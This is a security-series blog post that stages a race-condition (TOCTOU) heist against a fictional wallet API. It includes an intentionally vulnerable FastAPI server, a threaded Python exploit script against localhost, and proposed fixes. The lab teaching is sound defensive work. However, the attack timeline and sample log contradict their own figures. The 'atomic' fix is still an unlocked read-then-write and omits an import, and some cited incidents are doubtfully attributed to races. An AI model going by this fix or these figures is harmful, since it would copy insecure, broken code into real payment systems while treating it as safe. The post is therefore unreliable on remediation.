DEV Community

Cover image for Day 21 — The Heist in Milliseconds — Cracking NovaPay with a Race Condition TOCTOU Attack
Hafiz Shamnad
Hafiz Shamnad

Posted on

Day 21 — The Heist in Milliseconds — Cracking NovaPay with a Race Condition TOCTOU Attack

March 9, 2026 — Day 21 of 30 Days of Security Engineering

Picture this: It's a rainy Tuesday afternoon in a nondescript fintech startup's office in San Francisco. The team at NovaPay — a shiny new digital wallet app — is celebrating their latest milestone: 10,000 users onboarded, with seamless withdrawals powering the growth. Their API is "bulletproof," they say. But unbeknownst to them, a subtle flaw lurks in the shadows: a race condition vulnerability, specifically a Time-of-Check to Time-of-Use (TOCTOU) bug in the withdrawal endpoint. It's not a flashy SQL injection or XSS; it's a silent assassin that exploits concurrency, turning a 2-second delay into a crowbar for digital theft.

In this case study, we'll dive into the breach like a red team op. I'll walk you through the vulnerability discovery, the architecture of our mini-lab (a self-contained "bank" you can spin up), the exploit mechanics, and the fixes that turn this house of cards back into Fort Knox. By the end, you'll have hands-on code, a live demo frontend, and the tools to hunt these bugs in your own systems. Think of it as a tiny CTF challenge wrapped in a heist story — because security isn't just code; it's narrative.

The Setup: NovaPay's House of Cards

NovaPay's core flow is simple: Users hit /withdraw?amount=300 to pull funds from their wallet. The server peeks at the balance (say, $1,000), nods approvingly, then — crucially — pauses for 2 seconds to simulate real-world friction like database commits or fraud scans. Only then does it deduct the cash.

Sounds airtight? In a single-threaded world, maybe. But users don't withdraw in isolation. What if five requests flood in at once? All five "peek" the $1,000 balance and pass the check before any deduction hits. Boom: $1,500 vanishes from a $1,000 account. The bank's ledger? A chaotic -$500.

This is TOCTOU in action: The Time of Check (balance >= amount?) happens, but by the Time of Use (deduct!), the state has shifted. No locks, no atomicity — just a shared dictionary begging for concurrency chaos.

Severity: Critical (CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization). In the wild, this has drained accounts (think double-spending in crypto) and earned bug bounties from $5K to $30K.

Lab Architecture: Your Personal Bank Heist Simulator

We've containerized this as a full-stack lab: A FastAPI backend (vulnerable by design) + a sleek React-like HTML frontend for "legit" banking and exploit controls. Spin it up locally, play the user, then flip to attacker mode.

race_condition_lab/
│
├── server_vulnerable.py     # The flawed NovaPay API
├── index.html               # Interactive banking UI + exploit panel
├── exploit.py               # Python script for scripted attacks (bonus)
├── server_fixed_lock.py     # Fix #1: Threading locks
├── server_fixed_atomic.py   # Fix #2: Atomic subtraction
├── requirements.txt         # FastAPI, Uvicorn, Requests
└── README.md                # Quickstart
Enter fullscreen mode Exit fullscreen mode

Quickstart: Boot the Bank

  1. Clone & Install:
   mkdir race_condition_lab && cd race_condition_lab
   pip install fastapi uvicorn requests
Enter fullscreen mode Exit fullscreen mode

requirements.txt:

   fastapi
   uvicorn
   requests
Enter fullscreen mode Exit fullscreen mode
  1. Fire Up the Server:
   uvicorn server_vulnerable:app --reload --port 8000
Enter fullscreen mode Exit fullscreen mode

API live at http://127.0.0.1:8000. CORS enabled for the frontend.

  1. Launch the UI:
    Open index.html in your browser (serves from file:// or host via python -m http.server 8080). It auto-fetches balance and transactions.

  2. Test Legit:

    • Hit /balance: {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
    • Withdraw $300 via UI: Success, balance drops to $700.

Now, the fun begins.

The Flaw Exposed: Vulnerable Server Code

Here's the heart of the breach — server_vulnerable.py. Notice the fatal gap: Check, sleep, deduct. No synchronization.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import time

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_methods=["*"],
    allow_headers=["*"],
)

# Simulated database — shared state, no locks
wallet = {
    "balance": 1000,
    "owner": "Alex Johnson",
    "account": "****4291",
    "transactions": []
}

@app.get("/")
def home():
    return {"message": "NovaPay Banking API"}

@app.get("/balance")
def balance():
    return {
        "balance": wallet["balance"],
        "owner": wallet["owner"],
        "account": wallet["account"],
        "transactions": wallet["transactions"][-10:]
    }

@app.post("/withdraw")
def withdraw(amount: int):
    # ⚠️ VULNERABILITY: Check-then-act race condition
    # The balance check and deduction are NOT atomic
    if wallet["balance"] >= amount:
        # Simulate real-world processing delay (DB call, fraud check, etc.)
        time.sleep(2)
        # By the time we get here, another request may have already
        # deducted the balance — but we already passed the check above!
        wallet["balance"] -= amount
        tx = {
            "id": len(wallet["transactions"]) + 1,
            "type": "debit",
            "amount": amount,
            "status": "success",
            "timestamp": time.strftime("%H:%M:%S")
        }
        wallet["transactions"].append(tx)
        return {
            "status": "success",
            "withdrawn": amount,
            "new_balance": wallet["balance"],
            "transaction_id": tx["id"]
        }
    return {
        "status": "failed",
        "message": "Insufficient funds",
        "balance": wallet["balance"]
    }

@app.post("/deposit")
def deposit(amount: int):
    wallet["balance"] += amount
    tx = {
        "id": len(wallet["transactions"]) + 1,
        "type": "credit",
        "amount": amount,
        "status": "success",
        "timestamp": time.strftime("%H:%M:%S")
    }
    wallet["transactions"].append(tx)
    return {"status": "success", "new_balance": wallet["balance"]}

@app.post("/reset")
def reset():
    wallet["balance"] = 1000
    wallet["transactions"] = []
    return {"status": "reset", "balance": 1000}
Enter fullscreen mode Exit fullscreen mode

The frontend (index.html) is a polished banking dashboard: Balance hero, withdraw/deposit forms, transaction history. But scroll down — there's an "Exploit Panel" for the attack, complete with concurrent request launcher, live logs, and theft stats. (Full HTML code below; it's ~500 lines of CSS/JS magic for that pro feel.)

The Heist: Exploiting the Race Window

As the attacker (let's call you "ShadowWire," a curious pentester), you recon the API with Burp or curl. Balance check? Clean. Single withdraw? Fine. But load testing reveals the crack.

Attack Timeline: The Crowbar in Action

t=0s: 5 threads hit /withdraw?amount=300
     All read balance=1000 → All pass "if >=300"

t=2s: Delays end sequentially
     Thread1: 1000-300=700 ✓
     Thread2: 700-300=400 ✓
     Thread3: 400-300=100 ✓
     Thread4: 100-300=-200 ✓ (no check!)
     Thread5: -200-300=-500 ✗ (but 4 already succeeded)

Net: $1,200 stolen from $1,000. Bank? -$500. ShadowWire walks with $900 profit.
Enter fullscreen mode Exit fullscreen mode

Hands-On Exploit #1: UI Attack Panel

In the frontend's "Race Condition Lab" panel:

  • Set amount=$300, threads=4.
  • Hit "🚀 Launch Attack".
  • Watch the log:
  [*] Target balance: $1,000
  [*] Firing 4 simultaneous requests for $300 each...
  [✓] Request 1: SUCCESS — withdrew $300, balance now $700
  [✓] Request 2: SUCCESS — withdrew $300, balance now $400
  [✗] Request 3: FAILED — Insufficient funds
  [+] VULNERABILITY CONFIRMED: Over-withdrew by $300!
Enter fullscreen mode Exit fullscreen mode

Balance refreshes to $400 (wait, what?). You just "stole" $300 extra. Reset via /reset and retry with more threads for bigger hauls.

The JS uses Promise.all for concurrency — pure browser-based TOCTOU.

Hands-On Exploit #2: Scripted Fury (exploit.py)

For automation (or chaining in a Burp Turbo Intruder setup):

import threading
import requests
import time

TARGET = "http://127.0.0.1:8000/withdraw"
THREADS = 5
AMOUNT = 300

results = []

def attack(thread_id):
    print(f"Thread {thread_id} sending request")
    r = requests.post(TARGET, params={"amount": AMOUNT})
    results.append(r.json())
    print(f"Thread {thread_id} response: {r.json()}")

def main():
    threads = []
    start = time.time()
    for i in range(THREADS):
        t = threading.Thread(target=attack, args=(i,))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()
    end = time.time()
    print(f"\nAttack completed in {round(end-start,2)} seconds")
    print("\nResults:")
    for r in results:
        print(r)
    # Fetch final balance
    bal_r = requests.get("http://127.0.0.1:8000/balance")
    print(f"Final balance: {bal_r.json()['balance']}")

if __name__ == "__main__":
    main()
Enter fullscreen mode Exit fullscreen mode

Run: python exploit.py. Output? Five "successes," balance in the red. Scale THREADS to 10 for mayhem.

The Autopsy: Why the Vault Cracked

Non-atomic ops on shared state. The if check reads a snapshot; the deduct writes to a mutated version. In production? Same with non-transactional DBs. Real hits: Ether's DAO hack (millions lost to races), Ticketmaster oversells, eBay coupon clones.

Detection? Fuzz with:

  • Burp Intruder/Turbo: Cluster bomb on threads.
  • Scripts: Threading/asyncio for Python/Go.
  • Load Tools: wrk -t10 -c100, k6 scripts.

The Counter-Heist: Fortifying NovaPay

Fix #1: Lock It Down (server_fixed_lock.py)

Wrap the critical section in a threading.Lock(). Only one withdraw at a time — serializes the race.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import threading
import time

app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])

wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
lock = threading.Lock()

# ... (home, balance, deposit, reset unchanged)

@app.post("/withdraw")
def withdraw(amount: int):
    with lock:  # Atomic block
        if wallet["balance"] >= amount:
            time.sleep(2)  # Delay still happens, but serialized
            wallet["balance"] -= amount
            tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
            wallet["transactions"].append(tx)
            return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}
        return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}
Enter fullscreen mode Exit fullscreen mode

Tradeoff: Throughput drops under load. Fine for low-traffic, but scale with Redis locks.

Fix #2: Atomic Math (server_fixed_atomic.py)

Ditch the check-delay-deduct. Compute new balance first, reject if negative. No window.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])

wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}

# ... (home, balance, deposit, reset unchanged)

@app.post("/withdraw")
def withdraw(amount: int):
    new_balance = wallet["balance"] - amount
    if new_balance < 0:
        return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}
    wallet["balance"] = new_balance  # Single write
    tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
    wallet["transactions"].append(tx)
    return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}
Enter fullscreen mode Exit fullscreen mode

Production gold: Wrap in DB transactions.

BEGIN TRANSACTION;
UPDATE accounts SET balance = balance - 300 WHERE id = 1 AND balance >= 300;
-- If rows_affected == 0, rollback (insufficient funds)
COMMIT;
Enter fullscreen mode Exit fullscreen mode

Lab Screenshot




Real-World Echoes & Hunt Tips

  • Incidents: 2010s flash crashes from racey trades; 2021 Poly Network $600M crypto drain (races in bridges).
  • Bounties: HackerOne pays big for TOCTOU in payments (e.g., $20K on Stripe clones).
  • Pro Tip: Assume concurrency. Test with chaos engineering (e.g., Gremlin for delays).

Epilogue: Lessons from the Shadows

NovaPay's "heist" reminds us: Security is timing. Validate and act atomically, or adversaries will thread their way in. Locks for simplicity, atomics for speed, transactions for scale. Design for the storm — concurrent users are the norm.

Reset your lab, swap in a fix, and re-attack. Does it hold? Tweak the sleep to 5s for drama. For extra polish:

  • Visual Diagram: Mermaid timeline (code below — paste into mermaid.live).
  • Burp Demo: Use Turbo Intruder with the exploit.py logic.
  • Dockerize: Want a one-command CTF? Reply — I'll script it.
sequenceDiagram
    participant A as Attacker Threads
    participant S as Server (Shared Wallet)
    Note over A,S: t=0: All check balance=1000
    A->>S: if 1000 >= 300? (x5)
    S-->>A: Yes (x5)
    Note over A,S: t=2s: Sequential deducts
    A->>S: balance -=300 (Thread1)
    S-->>A: 700
    A->>S: balance -=300 (Thread2)
    S-->>A: 400
    ... (continues to negative)
Enter fullscreen mode Exit fullscreen mode

This lab demonstrated a TOCTOU race condition in a banking withdrawal system.

Multiple concurrent requests exploited a delay between balance verification and deduction.

The attack allowed withdrawing more money than available.

Mitigation requires atomic operations or synchronization mechanisms.

Top comments (0)